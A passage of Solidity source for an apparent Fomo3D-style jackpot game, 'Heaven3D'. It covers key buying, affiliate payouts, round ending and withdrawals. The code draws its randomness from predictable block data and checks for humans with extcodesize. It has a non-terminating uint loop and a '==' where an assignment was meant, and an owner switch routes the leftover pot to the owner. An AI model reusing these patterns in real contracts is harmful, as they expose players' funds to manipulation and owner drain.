mapping (uint256 => mapping (uint256 => H3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => H3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
constructor(address _TeamDreamHubSCaddress, address _PlayerBookSCaddress)
public
{
owner = msg.sender;
TeamDreamHub_ = TeamDreamHubInterface(_TeamDreamHubSCaddress);
PlayerBook = PlayerBookInterface(_PlayerBookSCaddress);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
require (_addr == tx.origin);
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
H3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
H3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
H3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
H3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
H3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
H3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
H3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function noMoreNextRoundSetting(bool _noMoreNextRound)
isActivated()
isHuman()
public
{
require(
msg.sender == owner,
"only Team Dream can activate"
);
noMoreNextRound_ = _noMoreNextRound;
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
H3Ddatasets.EventReturns memory _eventData_;
endRoundControl(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
if(round_[_rID].ended == true)
{
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit H3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
else
{
emit H3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit H3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit H3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit H3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit H3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask)).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
randomDecisionPhase_
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
uint256 limitedDividends = (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd));
if(limitedDividends > plyrRnds_[_pID][_rID].eth.mul(3))
limitedDividends = plyrRnds_[_pID][_rID].eth.mul(3);
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
limitedDividends,
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function endRoundControl(H3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
randomDecisionPhase_ = 101;
address _address_of_last_rand_gen_source_ = address_of_last_rand_gen_source_;
bool goMakeDecision = true;
if((_address_of_last_rand_gen_source_ == address(0)) || (_address_of_last_rand_gen_source_ == msg.sender))
{
goMakeDecision = true;
}
else
{
if(checkNotSmartContract(_address_of_last_rand_gen_source_))
{
if(endRoundDecisionResult_ == true)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
randomDecisionPhase_ = 100;
}
else
{
uint256 _now = now;
round_[_rID].end = rndDeciExt_.add(_now);
}
endRoundDecisionResult_ = false;
address_of_last_rand_gen_source_ = address(0);
goMakeDecision = false;
}
else
{
goMakeDecision = true;
}
}
if(goMakeDecision == true)
{
address_of_last_rand_gen_source_ = msg.sender;
endRoundDecisionResult_ = endRoundDecision();
}
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, H3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
endRoundControl(_eventData_);
if(round_[_rID].ended == true)
{
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit H3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, H3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
endRoundControl(_eventData_);
if(round_[_rID].ended == true)
{
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit H3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, H3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
else
updateGenVault(_pID, plyr_[_pID].lrnd);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _keys, _eventData_);
internalNoter(_rID, _pID);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(H3Ddatasets.EventReturns memory _eventData_)
private
returns (H3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, H3Ddatasets.EventReturns memory _eventData_)
private
returns (H3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(H3Ddatasets.EventReturns memory _eventData_)
private
returns (H3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(68)) / 100;
uint256 _com = (_pot.mul(10)) / 100;
uint256 _gen = 0;
uint256 _p3d = 0;
TeamDreamHub_.deposit.value(_com)();
uint256 _res = ((_pot.sub(_com)).sub(_gen)).sub(_p3d);
(_res,_eventData_) = winnersProfitDistributor(_rID, _win, _res, _eventData_);
if(noMoreNextRound_ == true)
{
owner.transfer(_res);
_res = 0;
}
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 dividend_yet_distribute = calcUnMaskedEarnings(_pID, _rIDlast);
if (dividend_yet_distribute > 0)
{
uint256 _earnings;
uint256 all_dividend_earned = dividend_yet_distribute.add(plyrRnds_[_pID][_rIDlast].eth_went_to_gen);
if (all_dividend_earned > (plyrRnds_[_pID][_rIDlast].eth).mul(3))
{
uint256 remain_quota = (plyrRnds_[_pID][_rIDlast].eth).mul(3).sub(plyrRnds_[_pID][_rIDlast].eth_went_to_gen);
uint256 exceeds_part = dividend_yet_distribute.sub(remain_quota);
_earnings = remain_quota;
uint256 _dust = updateMasks(rID_, _pID, exceeds_part, 0);
if (_dust > 0)
round_[rID_].pot = round_[rID_].pot.add(_dust);
}
else
{
_earnings = dividend_yet_distribute;
}
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].eth_went_to_gen = _earnings.add(plyrRnds_[_pID][_rIDlast].eth_went_to_gen);
plyrRnds_[_pID][_rIDlast].mask = dividend_yet_distribute.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function endRoundDecision()
private
returns(bool)
{
bool decision = false;
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
uint256 randNum = (seed - ((seed / 1000) * 1000));
if(randNum < 50)
decision = true;
emit H3Devents.onNewDecision(msg.sender,randNum,decision);
return decision;
}
function checkNotSmartContract(address targetAddr)
private
returns(bool)
{
uint256 _codeLength;
assembly {
_codeLength := extcodesize(targetAddr)
}
if(_codeLength == 0)
return true;
else
return false;
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, H3Ddatasets.EventReturns memory _eventData_)
private
returns(H3Ddatasets.EventReturns)
{
uint256 _com = (_eth.mul(10)) / 100;
uint256 _p3d = 0;
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit H3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_com = _com.add(_aff);
}
TeamDreamHub_.deposit.value(_com)();
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit H3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _keys, H3Ddatasets.EventReturns memory _eventData_)
private
returns(H3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(60)) / 100;
_eth = _eth.sub((_eth.mul(20)) / 100);
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function winnersProfitDistributor(uint256 _rID, uint256 _win, uint256 _res, H3Ddatasets.EventReturns memory _eventData_)
private
returns (uint256, H3Ddatasets.EventReturns)
{
uint256 _pIDtmp;
uint256 _paidPlayerCount;
uint256 _bonus_portion;
_bonus_portion = (_win.mul(10)) / 1000;
_eventData_ = determinePID(_eventData_);
_pIDtmp = pIDxAddr_[address_of_last_rand_gen_source_];
plyr_[_pIDtmp].win = _bonus_portion.add(plyr_[_pIDtmp].win);
_res = _res.sub(_bonus_portion);
_bonus_portion = (_win.mul(49)) / 1000;
_paidPlayerCount = 0;
for (uint i = 0; i < round_[_rID].latestPlayers.length; i++)
{
if(round_[_rID].latestPlayers[i] == 0)
{
break;
}
if(_paidPlayerCount == rule_limit_latestPlayersCnt)
{
break;
}
_pIDtmp = round_[_rID].latestPlayers[i];
if(checkNotSmartContract(plyr_[_pIDtmp].addr))
{
plyr_[_pIDtmp].win = _bonus_portion.add(plyr_[_pIDtmp].win);
_res = _res.sub(_bonus_portion);
pPAIDxID_[round_[_rID].latestPlayers[i]] = _bonus_portion;
_paidPlayerCount++;
}
}
_bonus_portion = (_win.mul(50)) / 1000;
_paidPlayerCount = 0;
for (i = 0; i < round_[_rID].heavyPlayers.length; i++)
{
if(round_[_rID].heavyPlayers[i] == 0)
{
break;
}
if(_paidPlayerCount == rule_limit_heavyPlayersCnt)
{
break;
}
_pIDtmp = round_[_rID].heavyPlayers[i];
if(checkNotSmartContract(plyr_[_pIDtmp].addr))
{
if(pPAIDxID_[_pIDtmp] != 0)
continue;
plyr_[_pIDtmp].win = _bonus_portion.add(plyr_[_pIDtmp].win);
_res = _res.sub(_bonus_portion);
_paidPlayerCount++;
}
}
for (i = 0; i < round_[_rID].latestPlayers.length; i++)
pPAIDxID_[round_[_rID].latestPlayers[i]] = 0;
return (_res,_eventData_);
}
function internalNoter(uint256 _rID, uint256 _pID)
private
{
uint idx_to_insert = round_[_rID].latestPlayers.length - 1;
for (uint i = 0; i < round_[_rID].latestPlayers.length; i++)
{
if(round_[_rID].latestPlayers[i] == 0)
{
idx_to_insert = i;
break;
}
if(round_[_rID].latestPlayers[i] == _pID)
{
for (uint j = i; j < (round_[_rID].latestPlayers.length - 1); j++)
{
round_[_rID].latestPlayers[j] = round_[_rID].latestPlayers[j+1];
if(round_[_rID].latestPlayers[j+1] == 0)
break;
}
break;
}
}
if (idx_to_insert == (round_[_rID].latestPlayers.length - 1))
{
for (i = (round_[_rID].latestPlayers.length - 1); i >= 0; i--)
{
if(round_[_rID].latestPlayers[i] == 0)
{
idx_to_insert = i;
break;
}
}
}
round_[_rID].latestPlayers[idx_to_insert] = _pID;
idx_to_insert = round_[_rID].heavyPlayers.length - 1;
for (i = 0; i < round_[_rID].heavyPlayers.length; i++)
{
if(round_[_rID].heavyPlayers[i] == 0)
{
break;
}
if(round_[_rID].heavyPlayers[i] == _pID)
{
for (j = i; j < (round_[_rID].heavyPlayers.length - 1); j++)
{
round_[_rID].heavyPlayers[j] = round_[_rID].heavyPlayers[j+1];
if(round_[_rID].heavyPlayers[j+1] == 0)
{
break;
}
}
break;
}
}
for (i = 0; i < round_[_rID].heavyPlayers.length; i++)
{
if(round_[_rID].heavyPlayers[i] == 0)
{
idx_to_insert = i;
break;
}
else
{
if(plyrRnds_[_pID][_rID].eth > plyrRnds_[round_[_rID].heavyPlayers[i]][_rID].eth)
{
idx_to_insert = i;
for (j = i; j < (round_[_rID].heavyPlayers.length - 1); j++)
{
round_[_rID].heavyPlayers[j+1] = round_[_rID].heavyPlayers[j];
}
break;
}
}
}
round_[_rID].heavyPlayers[idx_to_insert] = _pID;
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt;
if(round_[_rID].keys.sub(_keys) == 0)
{
_ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
else
{
_ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys.sub(_keys));
round_[_rID].mask = _ppt.add(round_[_rID].mask);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000))).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys.sub(_keys))) / (1000000000000000000)));
}
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, H3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit H3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == owner,
"only Team Dream can activate"
);
require(activated_ == false, "Heaven3D already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library H3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 eth_went_to_gen;
uint256 ico;
}
struct Round {
uint256[20] latestPlayers;
uint256[20] heavyPlayers;
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
}
library H3DKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
